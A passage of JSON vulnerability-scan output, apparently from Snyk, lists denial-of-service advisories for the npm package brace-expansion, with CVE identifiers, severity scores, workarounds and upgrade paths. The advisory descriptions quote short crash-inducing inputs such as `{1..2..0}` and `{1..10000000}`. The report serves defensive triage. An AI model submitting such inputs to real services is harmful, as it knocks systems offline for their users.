"https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], 